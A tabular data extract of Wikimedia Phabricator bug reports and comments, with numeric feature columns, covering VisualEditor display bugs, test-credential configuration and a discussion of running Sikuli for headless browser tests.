**Attached**: {F12017}",Needs Triage,90.0,1380146220,1399644958.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tchh23qe4nddxeojdetp,task_description,resolved,True,c1,3,False,False,False,12,,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.6338028169014085,0.647887323943662,"subhead shows ""2"" in the wrong place

seen in Firefox not in Chrome:  

choose some text and pick a headings format.  Subheads with numbers show the number below the selectbox.  see screen shot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12017}"
259560,"VisualEditor: Linux font stack sometimes lies about font width, leading to odd wrapping of text in format menu",This was the Linux-wrong-width-of-fonts bug that was fixed a few months ago.,,,1399644958,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tchh23qe4nddxeojdetp,task_subcomment,,True,c1,3,True,,,44,,5.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0952380952380953,0.8095238095238095,This was the Linux-wrong-width-of-fonts bug that was fixed a few months ago.
259557,"VisualEditor: Linux font stack sometimes lies about font width, leading to odd wrapping of text in format menu","Created attachment 13378
shows '3' in the wrong place

**Attached**: {F12018}",,,1380146299,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tchh23qe4nddxeojdetp,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1363636363636362,0.8181818181818182,"Created attachment 13378
shows '3' in the wrong place

**Attached**: {F12018}"
56600,update other repos to qa/browsertests practices,"visualeditor browser tests don't use MEDIAWIKI_PASSWORD, they still use secret.yaml.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1380120060,1381410415.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-xaefdkhei34lxghlfb26,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.741935483870968,0.6774193548387096,"visualeditor browser tests don't use MEDIAWIKI_PASSWORD, they still use secret.yaml.

--------------------------
**Version**: unspecified
**Severity**: normal"
258271,update other repos to qa/browsertests practices,"

*** This bug has been marked as a duplicate of bug 53579 ***",,,1381410415,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-xaefdkhei34lxghlfb26,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53579 ***"
56591,VisualEditor: Aborting the insertion of a formula should not insert any content,"If you click to use LaTeX, the ""math editor"" option, you cannot cancel or escape out of input.  VisualEditor adds the <math></math> tags regardless and this can only be removed by saving and going to source.

Ideally, a cancel [X] or keyboard options should work to remove this.

https://www.mediawiki.org/w/index.php?title=User:Keegan_(WMF)/sandbox&action=history

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1380089700,1394480263.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-bj5auvkiqa4ukpb3i76l,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,8.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,1.0,5.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,5.0,3.7228915662650603,0.6987951807228916,"If you click to use LaTeX, the ""math editor"" option, you cannot cancel or escape out of input.  VisualEditor adds the <math></math> tags regardless and this can only be removed by saving and going to source.

Ideally, a cancel [X] or keyboard options should work to remove this.

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
257778,VisualEditor: Aborting the insertion of a formula should not insert any content,This was fixed a long time ago; sorry for the slow triage.,,,1394480263,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bj5auvkiqa4ukpb3i76l,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,1.0,This was fixed a long time ago; sorry for the slow triage.
56393,Add Sikuli to the machines that run browser tests,"Sikuli ( http://www.sikuli.org ) is a tool for testing desktop interactions, such as mouse clicks and keyboard typing.

This tool is needed for testing typing in different languages, because the usual WebDriver tests are not able to generate proper keyboard events that completely emulate typing in advanced input methods for Japanese, Chinese and Indic scripts. We have many bugs in this area in the VisualEditor (e.g. Bug 52716), so we need proper regression testing.

This week I worked with Željko in the WMF office and we built a prototype test that uses Sikuli to test typing in Japanese:
https://gerrit.wikimedia.org/r/#/c/83966/

This works on Željko's laptop. The next step is to get it working on the virtual clients that run our continuous integration tests.

Thank you!

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Needs Triage,90.0,1379701560,1412692524.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-dxtpzjislp3ykzi64aen,task_description,declined,True,c1,3,False,False,False,11,,0.5,0.0,0.5,0.5,0.5,7.5,1.5,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,9.5,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,15.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,13.0,0.5,1.5,6.0,0.0,0.0,0.5,0.0,2.5,0.0,0.5,0.0,4.0,9.5,6.0,0.0,0.0,0.0,4.0,0.0,1.5,1.0,0.0,2.5,0.0,0.0,0.0,4.212812405901837,0.7299006323396567,"Sikuli ( URL ) is a tool for testing desktop interactions, such as mouse clicks and keyboard typing.

This tool is needed for testing typing in different languages, because the usual WebDriver tests are not able to generate proper keyboard events that completely emulate typing in advanced input methods for Japanese, Chinese and Indic scripts. We have many bugs in this area in the VisualEditor (e.g. Bug 52716), so we need proper regression testing.

This week I worked with Željko in the WMF office and we built a prototype test that uses Sikuli to test typing in Japanese:
URL

This works on Željko's laptop. The next step is to get it working on the virtual clients that run our continuous integration tests.

Thank you!

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
421988,Add Sikuli to the machines that run browser tests,"You can also find other people discussing using Sikuli with xvfb, e.g. https://github.com/jatalahd/SikuliRobotLibrary/wiki/Hints-and-Tips",,,1425618435,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.428571428571429,1.0,"You can also find other people discussing using Sikuli with xvfb, e.g. URL"
421984,Add Sikuli to the machines that run browser tests,">>! In T56393#1087507, @zeljkofilipin wrote:
> @Mattflaschen the last time I have checked sikuli web page, it explicitly said running headless is not supported. Maybe something changed in the meantime.

I think it depends on how you define ""headless"".  Sometimes it means ""without anything related to Xorg whatsoever"", but oftentimes it just means ""without a normal X server installation and associated drivers"" or ""without a physical monitor/physical video card"".

https://answers.launchpad.net/sikuli/+question/248704#comment-1 is quite clear that he got it working on Amazon Web Services (presumably Elastic Compute Cloud) and Jenkins.  This is pretty similar to our setup, except we use OpenStack instead of AWS (of course there are other differences, but there doesn't seem to be any unsolvable issue).

[xvfb](https://en.wikipedia.org/wiki/Xvfb) ([Jenkins plugin](https://wiki.jenkins-ci.org/display/JENKINS/Xvfb+Plugin)) is an established tool for this, so the Launchpad comment makes sense.",,,1425618258,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0.5,0.5,0.0,0.0,0.5,5.5,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,2.0,0.0,5.5,8.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,2.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,1.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.5,3.5,12.0,2.5,3.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,5.0,8.5,9.5,0.0,4.0,0.0,5.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,1.5,4.10997442455243,0.7667306052855924,"QUOTE
QUOTE

I think it depends on how you define ""headless"".  Sometimes it means ""without anything related to Xorg whatsoever"", but oftentimes it just means ""without a normal X server installation and associated drivers"" or ""without a physical monitor/physical video card"".

URL is quite clear that he got it working on Amazon Web Services (presumably Elastic Compute Cloud) and Jenkins.  This is pretty similar to our setup, except we use OpenStack instead of AWS (of course there are other differences, but there doesn't seem to be any unsolvable issue).

[xvfb](URL ([Jenkins plugin](URL is an established tool for this, so the Launchpad comment makes sense."
420615,Add Sikuli to the machines that run browser tests,"@Mattflaschen the last time I have checked sikuli web page, it explicitly said running headless is not supported. Maybe something changed in the meantime.",,,1425459423,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.777777777777778,0.9259259259259259,"SCREEN_NAME the last time I have checked sikuli web page, it explicitly said running headless is not supported. Maybe something changed in the meantime."
420534,Add Sikuli to the machines that run browser tests,"Did anyone investigate using it headless with Xvfb?  People have gotten this working with Linux and Jenkins (see for example https://answers.launchpad.net/sikuli/+question/248704#comment-1 ).  Their setup differs, but it shows a fully automated headless installation can work.",,,1425442579,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.333333333333333,0.8809523809523809,"Did anyone investigate using it headless with Xvfb?  People have gotten this working with Linux and Jenkins (see for example URL ).  Their setup differs, but it shows a fully automated headless installation can work."
251225,Add Sikuli to the machines that run browser tests,"Change 165204 merged by Dzahn:
contint: Sikuli is no longer used anywhere

https://gerrit.wikimedia.org/r/165204",,,1412969442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.411764705882353,0.9411764705882353,"Change 165204 merged by Dzahn:
contint: Sikuli is no longer used anywhere

GERRIT_URL"
251216,Add Sikuli to the machines that run browser tests,"Change 165204 had a related patch set uploaded by Zfilipin:
contint: Sikuli is no longer used anywhere

https://gerrit.wikimedia.org/r/165204",,,1412692379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.5,0.9545454545454546,"Change 165204 had a related patch set uploaded by Zfilipin:
contint: Sikuli is no longer used anywhere

GERRIT_URL"
251210,Add Sikuli to the machines that run browser tests,"Change 83966 abandoned by Zfilipin:
[WIP] [BrowserTest] Testing typing in VisualEditor

Reason:
Sikuli is not the way to go. We will investigate another tool.

https://gerrit.wikimedia.org/r/83966",,,1406638159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,56,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,8.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,4.054054054054054,0.8378378378378378,"Change 83966 abandoned by Zfilipin:
[WIP] [BrowserTest] Testing typing in VisualEditor

Reason:
Sikuli is not the way to go. We will investigate another tool.

GERRIT_URL"
251205,Add Sikuli to the machines that run browser tests,Resolving. See comment #9 for details. Please reopen if you think Sikuli is the way to go.,,,1403988818,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5238095238095237,0.9047619047619048,Resolving. See comment #9 for details. Please reopen if you think Sikuli is the way to go.
251199,Add Sikuli to the machines that run browser tests,"After further investigation with Amir today, looks like Sikuli does not work with headless machines: ""The system running Sikuli scripts or any apps using SikuliX features must have a real screen connected. So called headless systems are not supported (Java restriction).""

1: http://www.sikulix.com/quickstart.html",,,1396537515,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,39,,2.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,8.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.490566037735849,0.8679245283018868,"After further investigation with Amir today, looks like Sikuli does not work with headless machines: ""The system running Sikuli scripts or any apps using SikuliX features must have a real screen connected. So called headless systems are not supported (Java restriction).""

1: URL"
251194,Add Sikuli to the machines that run browser tests,"No, it is not really active yet.",,,1390743741,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,1.0,"No, it is not really active yet."
251188,Add Sikuli to the machines that run browser tests,"Amir, this patch was merged, can this be closed?",,,1390743366,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8333333333333334,"Amir, this patch was merged, can this be closed?"
251184,Add Sikuli to the machines that run browser tests,"Change 102141 merged by ArielGlenn:
contint: install libsikuli-script-java for browser tests

https://gerrit.wikimedia.org/r/102141",,,1387290472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9,"Change 102141 merged by ArielGlenn:
contint: install libsikuli-script-java for browser tests

GERRIT_URL"
251181,Add Sikuli to the machines that run browser tests,"I have deployed the package libsikuli-script-java on the integration-selenium-driver.pmtpa.wmflabs instance.  The script is available as /usr/bin/sikuli

Could you craft a simple change that would attempt to run a single browser test using sikuli ?",,,1387290113,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,9.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.8,0.8666666666666667,"I have deployed the package libsikuli-script-java on the integration-selenium-driver.pmtpa.wmflabs instance.  The script is available as /usr/bin/sikuli

Could you craft a simple change that would attempt to run a single browser test using sikuli ?"
251177,Add Sikuli to the machines that run browser tests,"Change 102141 had a related patch set uploaded by Hashar:
contint: install libsikuli-script-java for browser tests

https://gerrit.wikimedia.org/r/102141",,,1387289655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.48,0.92,"Change 102141 had a related patch set uploaded by Hashar:
contint: install libsikuli-script-java for browser tests

GERRIT_URL"
251173,Add Sikuli to the machines that run browser tests,"Good news: sikuli has been packaged for Debian/Ubuntu. There is a package libsikuli-script-java which seems to provide the needed material:

http://packages.ubuntu.com/precise/all/libsikuli-script-java/filelist

